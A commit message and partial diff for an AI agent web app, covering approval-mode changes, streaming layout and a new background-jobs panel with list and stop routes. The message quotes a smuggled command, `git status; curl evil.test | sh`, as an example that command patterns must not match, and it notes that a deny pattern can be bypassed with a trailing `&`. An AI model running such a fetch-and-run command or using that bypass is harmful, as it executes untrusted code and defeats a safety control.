A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/api/agents.py

@@ -25,6 +25,7 @@ from lembas.api.pages import sidebar_context
 from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile
 from lembas.services import settings_store
 from lembas.services.agent import index as index_service
+from lembas.services.agent import jobs as jobs_service
 from lembas.services.agent import ssh as ssh_service
 from lembas.services.agent import terminal as terminal_service
 from lembas.services.agent.base import ExecError
@@ -244,6 +245,115 @@ async def browse_profile(
     )
 
 
+# --- Background jobs -----------------------------------------------------------
+# A job runs detached on the far side for as long as it takes -- a build, an
+# install, a test suite -- and until now the only way to see one was to ask the
+# model to call `job_list`. Something that outlives the reply that started it
+# needs a surface that outlives the reply too.
+#
+# Read-only listing and stopping sit **outside `agent/policy.py`**, which makes
+# this the fifth exception to "the modes govern the model, not the interface",
+# after the terminal panel, the directory browser, the project listing and
+# Canvas saving a file. The argument is the one those rest on: whoever owns the
+# credential could read the log with `cat` and stop the job with `kill`, and a
+# panel that asked permission to show what is already running would be a panel
+# nobody could use. `job_stop` as a *model* tool keeps its RISK_EXECUTE and its
+# approval card; nothing about what a model may do has changed.
+def _job_chat(db: Db, user: RequiredUser, chat_id: str):
+    """The chat, and the agent context its jobs belong to.
+
+    404 for a chat that is not this reader's, as everywhere else -- whether an
+    id exists is not something to hand out. The agent context is what carries
+    the connection, so a chat whose profile has been deleted or disabled has no
+    jobs to show rather than an error to render.
+    """
+    from lembas.db.models import Chat
+    from lembas.services.agent import session as agent_session
+
+    chat = db.get(Chat, chat_id)
+    if chat is None or chat.user_id != user.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+    return chat, agent_session.resolve(db, chat, user)
+
+
+@router.get("/api/chats/{chat_id}/jobs")
+async def jobs_chip(request: Request, db: Db, user: RequiredUser, chat_id: str):
+    """How many jobs are running, as the chip in the composer row.
+
+    Always rendered, even at zero -- the chip is what carries `hx-trigger`, so a
+    fragment that collapsed to nothing would stop polling and the first job
+    started afterwards would never appear. The template renders an empty span in
+    that case, so the row does not reflow as jobs come and go.
+    """
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+    return render(
+        request,
+        "chat/_jobs_chip.html",
+        {"chat": chat, "jobs": views, "running": sum(1 for view in views if view.running)},
+    )
+
+
+@router.get("/api/chats/{chat_id}/jobs/panel")
+async def jobs_panel(request: Request, db: Db, user: RequiredUser, chat_id: str, job: str = ""):
+    """The list, and one job's output when a row is expanded.
+
+    The log is fetched only for the named job. Reading every job's tail on every
+    poll would be one SSH connection per job per five seconds, for output nobody
+    is looking at.
+    """
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+
+    body = ""
+    error = ""
+    if job and agent is not None:
+        if not jobs_service.valid_id(job) or not any(view.id == job for view in views):
+            # Namespaced by chat on the far side, and checked here as well: the
+            # path is built from the chat id, but the route takes the job id
+            # from the URL and must not read one that belongs elsewhere.
+            raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+        try:
+            reading = await jobs_service.read(agent, job)
+            body = reading.body
+        except ExecError as exc:
+            error = exc.message
+
+    return render(
+        request,
+        "chat/_jobs_panel.html",
+        {"chat": chat, "jobs": views, "open_job": job, "body": body, "error": error},
+    )
+
+
+@router.post("/api/chats/{chat_id}/jobs/{job_id}/stop")
+async def stop_job(request: Request, db: Db, user: RequiredUser, chat_id: str, job_id: str):
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+    if agent is None or not jobs_service.valid_id(job_id):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+    if not any(view.id == job_id for view in views):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+
+    error = ""
+    try:
+        await jobs_service.stop(agent, job_id)
+    except ExecError as exc:
+        error = exc.message
+
+    return render(
+        request,
+        "chat/_jobs_panel.html",
+        {
+            "chat": chat,
+            "jobs": jobs_service.listing(db, chat_id),
+            "open_job": "",
+            "body": "",
+            "error": error,
+        },
+    )
+
+
 def _parent_of(path: str) -> str:
     """The directory above, or "" at the root.